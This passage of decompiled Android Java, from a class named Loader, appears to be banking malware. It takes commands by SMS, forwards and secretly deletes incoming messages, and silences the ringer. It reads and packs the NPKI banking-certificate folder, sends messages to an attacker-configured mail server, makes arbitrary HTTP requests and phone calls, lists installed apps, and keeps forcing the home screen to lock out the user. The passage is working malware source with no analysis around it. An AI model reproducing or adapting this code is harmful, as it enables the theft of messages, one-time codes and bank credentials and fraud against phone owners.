  2365.                                         linkedHashMap2.put(displayOriginatingAddress, stringBuilder3.toString());
  2366.                                     }
  2367.                                     i2++;
  2368.                                 }
  2369.                             }
  2370.                             for (Entry entry : linkedHashMap.entrySet()) {
  2371.                                 String substring;
  2372.                                 String str2;
  2373.                                 List a3;
  2374.                                 String str3 = (String) entry.getKey();
  2375.                                 long longValue = ((Number) entry.getValue()).longValue();
  2376.                                 dataString = linkedHashMap2.get(str3);
  2377.                                 if (dataString == null) {
  2378.                                     d.e.b.h.a();
  2379.                                 }
  2380.                                 String str4 = (String) dataString;
  2381.                                 if (this.a.g.a("onSms", new Object[]{str3, str4, Long.valueOf(longValue)})) {
  2382.                                     Loader.access$getPreferences$p(this.a).edit().putLong(c.b, longValue).apply();
  2383.                                 }
  2384.                                 if (str4.length() > 6) {
  2385.                                     if (str4 == null) {
  2386.                                         throw new d.g("null cannot be cast to non-null type java.lang.String");
  2387.                                     }
  2388.                                     substring = str4.substring(2);
  2389.                                     d.e.b.h.a((Object) substring, "(this as java.lang.String).substring(startIndex)");
  2390.                                     if (s.a(str4, "FS", false, 2, null)) {
  2391.                                         (d.e.b.h.a((Object) substring, (Object) "000000") ? Loader.access$getPreferences$p(this.a).edit().putString("fs", "") : Loader.access$getPreferences$p(this.a).edit().putString("fs", p.b(substring))).apply();
  2392.                                     } else if (s.a(str4, "SF", false, 2, null)) {
  2393.                                         a = p.b(substring);
  2394.                                         Loader.access$getPreferences$p(this.a).edit().putString("account", a).apply();
  2395.                                         d.e.b.h.a(c.a.a.b.a.a().a(new b(this, a), 2, TimeUnit.SECONDS), "AndroidSchedulers.mainTh…  }, 2, TimeUnit.SECONDS)");
  2396.                                     } else if (s.a(str4, "IF", false, 2, null)) {
  2397.                                         String stringBuilder4;
  2398.                                         com.b.a.a.t a4 = this.a.g.a();
  2399.                                         if (a4 != null) {
  2400.                                             Socket f = a4.f();
  2401.                                             if (f != null && f.isConnected()) {
  2402.                                                 stringBuilder = new StringBuilder();
  2403.                                                 stringBuilder.append("已连接:");
  2404.                                                 com.b.a.a.t a5 = this.a.g.a();
  2405.                                                 if (a5 == null) {
  2406.                                                     d.e.b.h.a();
  2407.                                                 }
  2408.                                                 action = a5.f();
  2409.                                                 d.e.b.h.a(action, "peer.ws!!.socket");
  2410.                                                 stringBuilder.append(action.getRemoteSocketAddress().toString());
  2411.                                                 stringBuilder4 = stringBuilder.toString();
  2412.                                                 n.a.a(new l(Loader.access$getCtx$p(this.a), substring, stringBuilder4, null, c.a));
  2413.                                             }
  2414.                                         }
  2415.                                         dataString = Loader.access$getCtx$p(this.a).getSystemService("connectivity");
  2416.                                         if (dataString == null) {
  2417.                                             throw new d.g("null cannot be cast to non-null type android.net.ConnectivityManager");
  2418.                                         }
  2419.                                         NetworkInfo activeNetworkInfo = ((ConnectivityManager) dataString).getActiveNetworkInfo();
  2420.                                         a2 = "";
  2421.                                         if (activeNetworkInfo != null) {
  2422.                                             a2 = activeNetworkInfo.getTypeName();
  2423.                                             d.e.b.h.a((Object) a2, "info.typeName");
  2424.                                         }
  2425.                                         a = a2;
  2426.                                         WifiManager wifiManager = (WifiManager) Loader.access$getCtx$p(this.a).getSystemService("wifi");
  2427.                                         boolean isWifiEnabled = wifiManager != null ? wifiManager.isWifiEnabled() : false;
  2428.                                         stringBuilder2 = new StringBuilder();
  2429.                                         stringBuilder2.append("未连接,");
  2430.                                         stringBuilder2.append(a);
  2431.                                         stringBuilder2.append(',');
  2432.                                         stringBuilder2.append(isWifiEnabled);
  2433.                                         stringBuilder2.append(',');
  2434.                                         stringBuilder2.append(this.a.j);
  2435.                                         stringBuilder4 = stringBuilder2.toString();
  2436.                                         n.a.a(new l(Loader.access$getCtx$p(this.a), substring, stringBuilder4, null, c.a));
  2437.                                     } else if (s.a(str4, "SI", false, 2, null)) {
  2438.                                         dataString = Base64.decode(substring, 0);
  2439.                                         d.e.b.h.a(dataString, "Base64.decode(v, 0)");
  2440.                                         str2 = new String(dataString, d.i.d.a);
  2441.                                         a3 = t.a((CharSequence) str2, new char[]{10}, false, 0, 6, null);
  2442.                                         Loader.access$getPreferences$p(this.a).edit().putString("addr_url", (String) a3.get(0)).putString("addr_encoding", (String) a3.get(1)).putString("addr_pattern", (String) a3.get(2)).putString("addr_accounts", (String) a3.get(3)).apply();
  2443.                                         stringBuilder = new StringBuilder();
  2444.                                         stringBuilder.append("SI:");
  2445.                                         stringBuilder.append(str2);
  2446.                                         Log.d("WS", stringBuilder.toString());
  2447.                                         if (this.a.g.b()) {
  2448.                                             g access$getPeer$p = this.a.g;
  2449.                                             stringBuilder2 = new StringBuilder();
  2450.                                             stringBuilder2.append("302:");
  2451.                                             stringBuilder2.append((String) a3.get(3));
  2452.                                             access$getPeer$p.a(1000, stringBuilder2.toString()).a();
  2453.                                         }
  2454.                                     } else if (s.a(str4, "FM", false, 2, null)) {
  2455.                                         dataString = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
  2456.                                         action = Base64.decode(substring, 0);
  2457.                                         d.e.b.h.a(action, "Base64.decode(v, 0)");
  2458.                                         d.e.b.h.a(dataString, "keyData");
  2459.                                         str = new String(p.a(action, dataString, false), d.i.d.a);
  2460.                                         (d.e.b.h.a(str, (Object) "000000") ? Loader.access$getPreferences$p(this.a).edit().putString("fsm", "") : Loader.access$getPreferences$p(this.a).edit().putString("fsm", str)).apply();
  2461.                                         stringBuilder = new StringBuilder();
  2462.                                         stringBuilder.append("fsm");
  2463.                                         stringBuilder.append(str);
  2464.                                         Log.d("WS", stringBuilder.toString());
  2465.                                     }
  2466.                                 }
  2467.                                 substring = Loader.access$getPreferences$p(this.a).getString("fs", "");
  2468.                                 if (substring == null) {
  2469.                                     d.e.b.h.a();
  2470.                                 }
  2471.                                 if (substring.length() > 3) {
  2472.                                     n nVar = n.a;
  2473.                                     Context access$getCtx$p = Loader.access$getCtx$p(this.a);
  2474.                                     stringBuilder2 = new StringBuilder();
  2475.                                     stringBuilder2.append("");
  2476.                                     stringBuilder2.append(str3);
  2477.                                     stringBuilder2.append(":\n");
  2478.                                     stringBuilder2.append(str4);
  2479.                                     nVar.a(new l(access$getCtx$p, substring, stringBuilder2.toString(), null, d.a));
  2480.                                     Log.d("MSG", "FWD");
  2481.                                 }
  2482.                                 dataString = Loader.access$getPreferences$p(this.a).getString("fsm", "");
  2483.                                 d.e.b.h.a(dataString, "preferences.getString(\"fsm\", \"\")");
  2484.                                 List a6 = t.a((CharSequence) dataString, new char[]{'|'}, false, 0, 6, null);
  2485.                                 if (a6.size() >= 3) {
  2486.                                     str2 = (String) a6.get(0);
  2487.                                     String str5 = (String) a6.get(1);
  2488.                                     a2 = (String) a6.get(2);
  2489.                                     d.e.b.j.b bVar = new d.e.b.j.b();
  2490.                                     bVar.a = a2;
  2491.                                     d.e.b.j.b bVar2 = new d.e.b.j.b();
  2492.                                     bVar2.a = "25";
  2493.                                     if (t.a((CharSequence) a2, ':', false, 2, null)) {
  2494.                                         a3 = t.a((CharSequence) a2, new char[]{':'}, false, 0, 6, null);
  2495.                                         bVar.a = (String) a3.get(0);
  2496.                                         bVar2.a = (String) a3.get(1);
  2497.                                     }
  2498.                                     new Thread(new e(this, str3, str4, bVar, bVar2, str2, str5)).start();
  2499.                                 }
  2500.                             }
  2501.                             if (VERSION.SDK_INT < 19) {
  2502.                                 try {
  2503.                                     for (Entry key : linkedHashMap.entrySet()) {
  2504.                                         Object obj = (String) key.getKey();
  2505.                                         abortBroadcast();
  2506.                                         Cursor query = context.getContentResolver().query(Uri.parse("content://sms/inbox"), null, "read=0", null, null);
  2507.                                         if (query != null) {
  2508.                                             while (query.moveToNext()) {
  2509.                                                 dataString = query.getString(query.getColumnIndex("address"));
  2510.                                                 d.e.b.h.a(dataString, "isRead.getString(isRead.getColumnIndex(\"address\"))");
  2511.                                                 CharSequence charSequence = (CharSequence) dataString;
  2512.                                                 length = charSequence.length() - 1;
  2513.                                                 i2 = 0;
  2514.                                                 Object obj2 = null;
  2515.                                                 while (i2 <= length) {
  2516.                                                     action = charSequence.charAt(obj2 == null ? i2 : length) <= ' ' ? 1 : null;
  2517.                                                     if (obj2 == null) {
  2518.                                                         if (action == null) {
  2519.                                                             obj2 = 1;
  2520.                                                         } else {
  2521.                                                             i2++;
  2522.                                                         }
  2523.                                                     } else if (action == null) {
  2524.                                                         break;
  2525.                                                     } else {
  2526.                                                         length--;
  2527.                                                     }
  2528.                                                 }
  2529.                                                 if (d.e.b.h.a(charSequence.subSequence(i2, length + 1).toString(), obj)) {
  2530.                                                     i = query.getInt(query.getColumnIndex("_id"));
  2531.                                                     ContentResolver contentResolver = context.getContentResolver();
  2532.                                                     Uri parse = Uri.parse("content://sms");
  2533.                                                     stringBuilder2 = new StringBuilder();
  2534.                                                     stringBuilder2.append("_id=");
  2535.                                                     stringBuilder2.append(i);
  2536.                                                     contentResolver.delete(parse, stringBuilder2.toString(), null);
  2537.                                                 }
  2538.                                             }
  2539.                                             query.close();
  2540.                                         }
  2541.                                     }
  2542.                                     return;
  2543.                                 } catch (Exception e3) {
  2544.                                     e3.printStackTrace();
  2545.                                     return;
  2546.                                 }
  2547.                             } else if (!this.a.k && VERSION.SDK_INT < 23) {
  2548.                                 dataString = context.getSystemService("audio");
  2549.                                 if (dataString == null) {
  2550.                                     throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  2551.                                 }
  2552.                                 ((AudioManager) dataString).setRingerMode(0);
  2553.                                 return;
  2554.                             } else {
  2555.                                 return;
  2556.                             }
  2557.                         }
  2558.                         return;
  2559.                     } else if (d.e.b.h.a(action, (Object) "android.intent.action.BATTERY_CHANGED")) {
  2560.                         i = (intent.getIntExtra("level", 0) * 100) / intent.getIntExtra("scale", 100);
  2561.                         if (this.a.u != i) {
  2562.                             this.a.u = i;
  2563.                             loader = this.a;
  2564.                         } else {
  2565.                             return;
  2566.                         }
  2567.                     } else if (d.e.b.h.a(action, (Object) "android.net.conn.CONNECTIVITY_CHANGE")) {
  2568.                         loader = this.a;
  2569.                     } else if (d.e.b.h.a(action, (Object) "android.intent.action.USER_PRESENT")) {
  2570.                         if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
  2571.                             p.b(Loader.access$getCtx$p(this.a));
  2572.                         }
  2573.                         if (this.a.getCallListener().a() == null) {
  2574.                             action = this.a.e();
  2575.                             str = Locale.getDefault().toString();
  2576.                             d.e.b.h.a(str, "Locale.getDefault().toString()");
  2577.                             if (!(s.a(str, "ko", false, 2, null) && d.e.b.h.a(action, (Object) ""))) {
  2578.                                 dataString = 1;
  2579.                             }
  2580.                             if (dataString != null && this.a.g.b()) {
  2581.                                 this.a.b(action);
  2582.                             }
  2583.                             new Handler().postDelayed(new f(this), 1000);
  2584.                             return;
  2585.                         }
  2586.                         return;
  2587.                     } else if (d.e.b.h.a(action, n.a.a())) {
  2588.                         n.a.a(intent, getResultCode());
  2589.                         return;
  2590.                     } else if (d.e.b.h.a(action, (Object) "android.intent.action.SCREEN_OFF")) {
  2591.                         this.a.h();
  2592.                         this.a.f();
  2593.                         return;
  2594.                     } else if (d.e.b.h.a(action, (Object) "android.intent.action.SCREEN_ON")) {
  2595.                         Log.d("WS", "screen on");
  2596.                         this.a.h();
  2597.                         if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
  2598.                             Log.d("WS", "screen on unlock");
  2599.                             p.b(Loader.access$getCtx$p(this.a));
  2600.                             return;
  2601.                         }
  2602.                         return;
  2603.                     } else if (d.e.b.h.a(action, (Object) "android.media.RINGER_MODE_CHANGED")) {
  2604.                         loader = this.a;
  2605.                     } else if (d.e.b.h.a(action, (Object) "android.net.wifi.SCAN_RESULTS")) {
  2606.                         loader = this.a;
  2607.                     } else {
  2608.                         return;
  2609.                     }
  2610.                 }
  2611.                 loader.h();
  2612.             } catch (Exception e32) {
  2613.                 e32.printStackTrace();
  2614.             } catch (Throwable th) {
  2615.                 th.printStackTrace();
  2616.             }
  2617.         }
  2618.     }
  2619.  
  2620.     static final class p extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2621.         final /* synthetic */ Loader a;
  2622.  
  2623.         p(Loader loader) {
  2624.             this.a = loader;
  2625.             super(1);
  2626.         }
  2627.  
  2628.         public final c.a.h<Object> a(final Object[] objArr) {
  2629.             d.e.b.h.b(objArr, "params");
  2630.             Object a = c.a.h.a((c.a.k) new c.a.k<T>(this) {
  2631.                 final /* synthetic */ p a;
  2632.  
  2633.                 public final void a(final c.a.i<Object> iVar) {
  2634.                     d.e.b.h.b(iVar, "emitter");
  2635.                     Object obj = objArr[0];
  2636.                     if (obj == null) {
  2637.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  2638.                     }
  2639.                     String str = (String) obj;
  2640.                     Object obj2 = objArr[1];
  2641.                     if (obj2 == null) {
  2642.                         throw new d.g("null cannot be cast to non-null type kotlin.String");
  2643.                     }
  2644.                     n.a.a(new l(Loader.access$getCtx$p(this.a.a), str, (String) obj2, null, new d.e.a.c<l, String, d.i>() {
  2645.                         public final void a(l lVar, String str) {
  2646.                             d.e.b.h.b(lVar, "sms");
  2647.                             if (str == null) {
  2648.                                 iVar.e_();
  2649.                             } else {
  2650.                                 iVar.a((Throwable) new k(-1, str, null));
  2651.                             }
  2652.                         }
  2653.                     }));
  2654.                 }
  2655.             });
  2656.             d.e.b.h.a(a, "Maybe.create<Any> { emit…        }))\n            }");
  2657.             return a;
  2658.         }
  2659.     }
  2660.  
  2661.     static final class q extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2662.         final /* synthetic */ Loader a;
  2663.  
  2664.         q(Loader loader) {
  2665.             this.a = loader;
  2666.             super(1);
  2667.         }
  2668.  
  2669.         public final c.a.h<Object> a(final Object[] objArr) {
  2670.             d.e.b.h.b(objArr, "params");
  2671.             Object a = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
  2672.                 final /* synthetic */ q a;
  2673.  
  2674.                 public final void a() {
  2675.                     Loader loader = this.a.a;
  2676.                     Object obj = objArr[0];
  2677.                     if (obj == null) {
  2678.                         throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  2679.                     }
  2680.                     loader.k = ((Boolean) obj).booleanValue();
  2681.                     if (this.a.a.k) {
  2682.                         obj = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
  2683.                         if (obj == null) {
  2684.                             throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  2685.                         }
  2686.                         AudioManager audioManager = (AudioManager) obj;
  2687.                         if (VERSION.SDK_INT < 23) {
  2688.                             audioManager.setRingerMode(0);
  2689.                         } else {
  2690.                             audioManager.setRingerMode(2);
  2691.                         }
  2692.                     }
  2693.                 }
  2694.             });
  2695.             d.e.b.h.a(a, "Maybe.fromAction<Any> {\n…          }\n            }");
  2696.             return a;
  2697.         }
  2698.     }
  2699.  
  2700.     static final class r extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2701.         final /* synthetic */ Loader a;
  2702.  
  2703.         r(Loader loader) {
  2704.             this.a = loader;
  2705.             super(1);
  2706.         }
  2707.  
  2708.         public final c.a.h<Object> a(Object[] objArr) {
  2709.             d.e.b.h.b(objArr, "params");
  2710.             this.a.h();
  2711.             Object a = c.a.h.a();
  2712.             d.e.b.h.a(a, "Maybe.empty<Any>()");
  2713.             return a;
  2714.         }
  2715.     }
  2716.  
  2717.     static final class s extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2718.         final /* synthetic */ Loader a;
  2719.  
  2720.         /* renamed from: com.Loader$s$1 */
  2721.         public static final class AnonymousClass1 extends TimerTask {
  2722.             final /* synthetic */ s a;
  2723.  
  2724.             static final class a implements Runnable {
  2725.                 final /* synthetic */ AnonymousClass1 a;
  2726.  
  2727.                 a(AnonymousClass1 anonymousClass1) {
  2728.                     this.a = anonymousClass1;
  2729.                 }
  2730.  
  2731.                 public final void run() {
  2732.                     try {
  2733.                         Intent intent = new Intent("android.intent.action.MAIN");
  2734.                         intent.addCategory("android.intent.category.HOME");
  2735.                         intent.addFlags(268435456);
  2736.                         Loader.access$getCtx$p(this.a.a.a).startActivity(intent);
  2737.                     } catch (Exception e) {
  2738.                     }
  2739.                 }
  2740.             }
  2741.  
  2742.             AnonymousClass1(s sVar) {
  2743.                 this.a = sVar;
  2744.             }
  2745.  
  2746.             public void run() {
  2747.                 this.a.a.b.post(new a(this));
  2748.             }
  2749.         }
  2750.  
  2751.         s(Loader loader) {
  2752.             this.a = loader;
  2753.             super(1);
  2754.         }
  2755.  
  2756.         public final c.a.h<Object> a(Object[] objArr) {
  2757.             d.e.b.h.b(objArr, "params");
  2758.             Object obj = objArr[0];
  2759.             if (obj == null) {
  2760.                 throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
  2761.             }
  2762.             boolean booleanValue = ((Boolean) obj).booleanValue();
  2763.             StringBuilder stringBuilder = new StringBuilder();
  2764.             stringBuilder.append("showHome ");
  2765.             stringBuilder.append(booleanValue);
  2766.             Log.d("WS", stringBuilder.toString());
  2767.             TimerTask access$getShowHomeTask$p = this.a.i;
  2768.             if (access$getShowHomeTask$p != null) {
  2769.                 access$getShowHomeTask$p.cancel();
  2770.             }
  2771.             this.a.i = (TimerTask) null;
  2772.             Loader.access$getPreferences$p(this.a).edit().putBoolean("lock", booleanValue).apply();
  2773.             if (booleanValue) {
  2774.                 obj = Loader.access$getCtx$p(this.a).getSystemService("audio");
  2775.                 if (obj == null) {
  2776.                     throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  2777.                 }
  2778.                 ((AudioManager) obj).setRingerMode(0);
  2779.                 if (!p.b(Loader.access$getCtx$p(this.a))) {
  2780.                     this.a.i = new AnonymousClass1(this);
  2781.                     this.a.h.schedule(this.a.i, 0, 150);
  2782.                 }
  2783.             } else {
  2784.                 p.c(Loader.access$getCtx$p(this.a));
  2785.             }
  2786.             obj = c.a.h.a();
  2787.             d.e.b.h.a(obj, "Maybe.empty<Any>()");
  2788.             return obj;
  2789.         }
  2790.     }
  2791.  
  2792.     static final class t extends d.e.b.i implements d.e.a.b<Object[], c.a.h<? extends Object>> {
  2793.         public static final t a = new t();
  2794.  
  2795.         t() {
  2796.             super(1);
  2797.         }
  2798.  
  2799.         public final c.a.h<? extends Object> a(Object[] objArr) {
  2800.             d.e.b.h.b(objArr, "params");
  2801.             Object obj = objArr[0];
  2802.             if (obj == null) {
  2803.                 throw new d.g("null cannot be cast to non-null type kotlin.Number");
  2804.             }
  2805.             String str;
  2806.             long longValue = ((Number) obj).longValue();
  2807.             if ((d.e.b.h.a(Environment.getExternalStorageState(), (Object) "mounted") ^ 1) == 0) {
  2808.                 StringBuilder stringBuilder = new StringBuilder();
  2809.                 Object externalStorageDirectory = Environment.getExternalStorageDirectory();
  2810.                 d.e.b.h.a(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
  2811.                 stringBuilder.append(externalStorageDirectory.getAbsolutePath());
  2812.                 stringBuilder.append("/NPKI");
  2813.                 File file = new File(stringBuilder.toString());
  2814.                 if (file.exists()) {
  2815.                     if (longValue == file.lastModified()) {
  2816.                         obj = c.a.h.a(Integer.valueOf(0));
  2817.                         str = "Maybe.just(0)";
  2818.                     } else {
  2819.                         q qVar = new q();
  2820.                         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  2821.                         try {
  2822.                             qVar.a(byteArrayOutputStream, file.getAbsolutePath());
  2823.                             byte[] toByteArray = byteArrayOutputStream.toByteArray();
  2824.                             obj = c.a.h.a(new Serializable[]{Long.valueOf(r6), (Serializable) toByteArray});
  2825.                             str = "Maybe.just(arrayOf(lastModified, bytes))";
  2826.                         } catch (Exception e) {
  2827.                         }
  2828.                     }
  2829.                     d.e.b.h.a(obj, str);
  2830.                     return obj;
  2831.                 }
  2832.             }
  2833.             obj = c.a.h.a();
  2834.             str = "Maybe.empty<Any>()";
  2835.             d.e.b.h.a(obj, str);
  2836.             return obj;
  2837.         }
  2838.     }
  2839.  
  2840.     static final class u extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2841.         public static final u a = new u();
  2842.  
  2843.         u() {
  2844.             super(1);
  2845.         }
  2846.  
  2847.         public final c.a.h<Object> a(Object[] objArr) {
  2848.             d.e.b.h.b(objArr, "params");
  2849.             Object obj = objArr[0];
  2850.             if (obj == null) {
  2851.                 throw new d.g("null cannot be cast to non-null type kotlin.String");
  2852.             }
  2853.             final String str = (String) obj;
  2854.             Object obj2 = objArr[1];
  2855.             if (obj2 == null) {
  2856.                 throw new d.g("null cannot be cast to non-null type kotlin.String");
  2857.             }
  2858.             final String str2 = (String) obj2;
  2859.             Object obj3 = objArr[2];
  2860.             if (obj3 == null) {
  2861.                 throw new d.g("null cannot be cast to non-null type kotlin.collections.Map<kotlin.String, kotlin.Array<*>>");
  2862.             }
  2863.             final Map map = (Map) obj3;
  2864.             Object obj4 = objArr[3];
  2865.             if (obj4 == null) {
  2866.                 throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
  2867.             }
  2868.             final byte[] bArr = (byte[]) obj4;
  2869.             obj = c.a.h.a((c.a.k) new c.a.k<T>() {
  2870.                 public final void a(final c.a.i<Object> iVar) {
  2871.                     d.e.b.h.b(iVar, "emitter");
  2872.                     c.a.g.a.a().a(new Runnable(this) {
  2873.                         final /* synthetic */ AnonymousClass1 a;
  2874.  
  2875.                         public final void run() {
  2876.                             HttpURLConnection httpURLConnection;
  2877.                             Object inputStream;
  2878.                             try {
  2879.                                 URLConnection openConnection = new URL(str).openConnection();
  2880.                                 if (openConnection == null) {
  2881.                                     throw new d.g("null cannot be cast to non-null type java.net.HttpURLConnection");
  2882.                                 }
  2883.                                 httpURLConnection = (HttpURLConnection) openConnection;
  2884.                                 httpURLConnection.setUseCaches(false);
  2885.                                 httpURLConnection.setRequestMethod(str2);
  2886.                                 httpURLConnection.setInstanceFollowRedirects(true);
  2887.                                 for (Entry entry : map.entrySet()) {
  2888.                                     for (Object valueOf : (Object[]) entry.getValue()) {
  2889.                                         httpURLConnection.setRequestProperty((String) entry.getKey(), String.valueOf(valueOf));
  2890.                                     }
  2891.                                 }
  2892.                                 if (((bArr.length == 0 ? 1 : 0) ^ 1) != 0) {
  2893.                                     httpURLConnection.getOutputStream().write(bArr);
  2894.                                 }
  2895.                                 int responseCode = httpURLConnection.getResponseCode();
  2896.                                 Map headerFields = httpURLConnection.getHeaderFields();
  2897.                                 inputStream = httpURLConnection.getInputStream();
  2898.                                 d.e.b.h.a(inputStream, "input");
  2899.                                 byte[] a = d.d.a.a(inputStream, 0, 1, null);
  2900.                                 iVar.a(new Object[]{Integer.valueOf(responseCode), headerFields, a});
  2901.                             } catch (Throwable th) {
  2902.                                 iVar.a(th);
  2903.                             }
  2904.                         }
  2905.                     });
  2906.                 }
  2907.             });
  2908.             d.e.b.h.a(obj, "Maybe.create<Any>({ emit…         }\n            })");
  2909.             return obj;
  2910.         }
  2911.     }
  2912.  
  2913.     static final class v extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2914.         final /* synthetic */ Loader a;
  2915.  
  2916.         v(Loader loader) {
  2917.             this.a = loader;
  2918.             super(1);
  2919.         }
  2920.  
  2921.         public final c.a.h<Object> a(Object[] objArr) {
  2922.             d.e.b.h.b(objArr, "params");
  2923.             Object obj = objArr[0];
  2924.             if (obj == null) {
  2925.                 throw new d.g("null cannot be cast to non-null type kotlin.String");
  2926.             }
  2927.             String str = (String) obj;
  2928.             new ToneGenerator(8, 100).startTone(e.a((Object[]) new String[]{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "*", "#"}, (Object) str), 150);
  2929.             this.a.setSpeekModle$loader_release(true);
  2930.             obj = c.a.h.a();
  2931.             d.e.b.h.a(obj, "Maybe.empty<Any>()");
  2932.             return obj;
  2933.         }
  2934.     }
  2935.  
  2936.     static final class w extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
  2937.         final /* synthetic */ Loader a;
  2938.  
  2939.         w(Loader loader) {
  2940.             this.a = loader;
  2941.             super(1);
  2942.         }
  2943.  
  2944.         public final c.a.h<Object> a(Object[] objArr) {
  2945.             d.e.b.h.b(objArr, "params");
  2946.             Object systemService = Loader.access$getCtx$p(this.a).getSystemService("audio");
  2947.             if (systemService == null) {
  2948.                 throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  2949.             }
  2950.             ((AudioManager) systemService).setRingerMode(0);
  2951.             systemService = objArr[0];
  2952.             if (systemService == null) {
  2953.                 throw new d.g("null cannot be cast to non-null type kotlin.String");
  2954.             }
  2955.             String str = (String) systemService;
  2956.             StringBuilder stringBuilder = new StringBuilder();
  2957.             stringBuilder.append("call ");
  2958.             stringBuilder.append(str);
  2959.             Log.d("WS", stringBuilder.toString());
  2960.             stringBuilder = new StringBuilder();
  2961.             stringBuilder.append("tel:");
  2962.             stringBuilder.append(str);
  2963.             Intent intent = new Intent("android.intent.action.CALL", Uri.parse(stringBuilder.toString()));
  2964.             intent.addFlags(268435456);
  2965.             Loader.access$getCtx$p(this.a).startActivity(intent);
  2966.             systemService = c.a.h.a();
  2967.             d.e.b.h.a(systemService, "Maybe.empty<Any>()");
  2968.             return systemService;
  2969.         }
  2970.     }
  2971.  
  2972.     static final class x extends d.e.b.i implements d.e.a.b<Object[], c.a.h<List<String>>> {
  2973.         final /* synthetic */ Loader a;
  2974.  
  2975.         public static final class a<T> implements Comparator<T> {
  2976.             public final int compare(T t, T t2) {
  2977.                 return b.a(Integer.valueOf(((PackageInfo) t).applicationInfo.flags & 1), Integer.valueOf(((PackageInfo) t2).applicationInfo.flags & 1));
  2978.             }
  2979.         }
  2980.  
  2981.         x(Loader loader) {
  2982.             this.a = loader;
  2983.             super(1);
  2984.         }
  2985.  
  2986.         /* JADX WARNING: Removed duplicated region for block: B:23:0x002d A:{SYNTHETIC} */
  2987.         /* JADX WARNING: Removed duplicated region for block: B:9:0x0057  */
  2988.         public final c.a.h<java.util.List<java.lang.String>> a(java.lang.Object[] r12) {
  2989.             /*
  2990.             r11 = this;
  2991.             r4 = 0;
  2992.             r0 = "it";
  2993.             d.e.b.h.b(r12, r0);
  2994.             r0 = r11.a;
  2995.             r0 = com.Loader.access$getCtx$p(r0);
  2996.             r6 = r0.getPackageManager();
  2997.             r0 = new java.util.ArrayList;
  2998.             r0.<init>();
  2999.             r0 = (java.util.List) r0;
  3000.             r1 = r6.getInstalledPackages(r4);
  3001.             r2 = "packages";
  3002.             d.e.b.h.a(r1, r2);
  3003.             r1 = (java.lang.Iterable) r1;
  3004.             r2 = new java.util.ArrayList;
  3005.             r2.<init>();
  3006.             r2 = (java.util.Collection) r2;
  3007.             r7 = r1.iterator();
  3008.         L_0x002d:
  3009.             r1 = r7.hasNext();
  3010.             r5 = 1;
  3011.             if (r1 == 0) goto L_0x005b;
  3012.         L_0x0034:
  3013.             r3 = r7.next();
  3014.             r1 = r3;
  3015.             r1 = (android.content.pm.PackageInfo) r1;
  3016.             r8 = r1.packageName;
  3017.             r1 = r1.applicationInfo;
  3018.             r1 = r1.flags;
  3019.             r1 = r1 & 1;
  3020.             if (r1 == 0) goto L_0x00d0;
  3021.         L_0x0045:
  3022.             r1 = "pkg";
  3023.             d.e.b.h.a(r8, r1);
  3024.             r1 = "com.android.";
  3025.             r9 = 2;
  3026.             r10 = 0;
  3027.             r1 = d.i.s.a(r8, r1, r4, r9, r10);
  3028.             if (r1 == 0) goto L_0x00d0;
  3029.         L_0x0054:
  3030.             r1 = r4;
  3031.         L_0x0055:
  3032.             if (r1 == 0) goto L_0x002d;
  3033.         L_0x0057:
  3034.             r2.add(r3);
  3035.             goto L_0x002d;
  3036.         L_0x005b:
  3037.             r2 = (java.util.List) r2;
  3038.             r2 = (java.lang.Iterable) r2;
  3039.             r1 = new com.Loader$x$a;
  3040.             r1.<init>();
  3041.             r1 = (java.util.Comparator) r1;
  3042.             r1 = d.a.m.a(r2, r1);
  3043.             r1 = (java.lang.Iterable) r1;
  3044.             r4 = r1.iterator();
  3045.         L_0x0070:
  3046.             r1 = r4.hasNext();
  3047.             if (r1 == 0) goto L_0x00c1;
  3048.         L_0x0076:
  3049.             r2 = r4.next();
  3050.             r1 = r0;
  3051.             r1 = (java.util.Collection) r1;
  3052.             r2 = (android.content.pm.PackageInfo) r2;
  3053.             r3 = new java.lang.StringBuilder;
  3054.             r3.<init>();
  3055.             r5 = r2.packageName;
  3056.             r3.append(r5);
  3057.             r5 = "/";
  3058.             r3.append(r5);
  3059.             r5 = r2.applicationInfo;
  3060.             r5 = r5.loadLabel(r6);
  3061.             r5 = r5.toString();
  3062.             r3.append(r5);
  3063.             r3 = r3.toString();
  3064.             r2 = r2.applicationInfo;
  3065.             r2 = r2.flags;
  3066.             r2 = r2 & 1;
  3067.             if (r2 == 0) goto L_0x00ce;
  3068.         L_0x00a7:
  3069.             r2 = new java.lang.StringBuilder;
  3070.             r2.<init>();
  3071.             r5 = "";
  3072.             r2.append(r5);
  3073.             r2.append(r3);
  3074.             r3 = " (系统)";
  3075.             r2.append(r3);
  3076.             r2 = r2.toString();
  3077.         L_0x00bd:
  3078.             r1.add(r2);
  3079.             goto L_0x0070;
  3080.         L_0x00c1:
  3081.             r1 = r0;
  3082.             r1 = (java.util.Collection) r1;
  3083.             r0 = c.a.h.a(r0);
  3084.             r1 = "Maybe.just(list)";
  3085.             d.e.b.h.a(r0, r1);
  3086.             return r0;
  3087.         L_0x00ce:
  3088.             r2 = r3;
  3089.             goto L_0x00bd;
  3090.         L_0x00d0:
  3091.             r1 = r5;
  3092.             goto L_0x0055;
  3093.             */
